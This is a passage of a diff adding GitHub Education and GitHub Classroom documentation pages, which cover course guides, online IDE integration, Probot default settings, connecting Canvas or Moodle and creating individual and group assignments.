discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.  ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar.  For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization.  ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.  1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.  ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.  1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.  145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %}  #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You 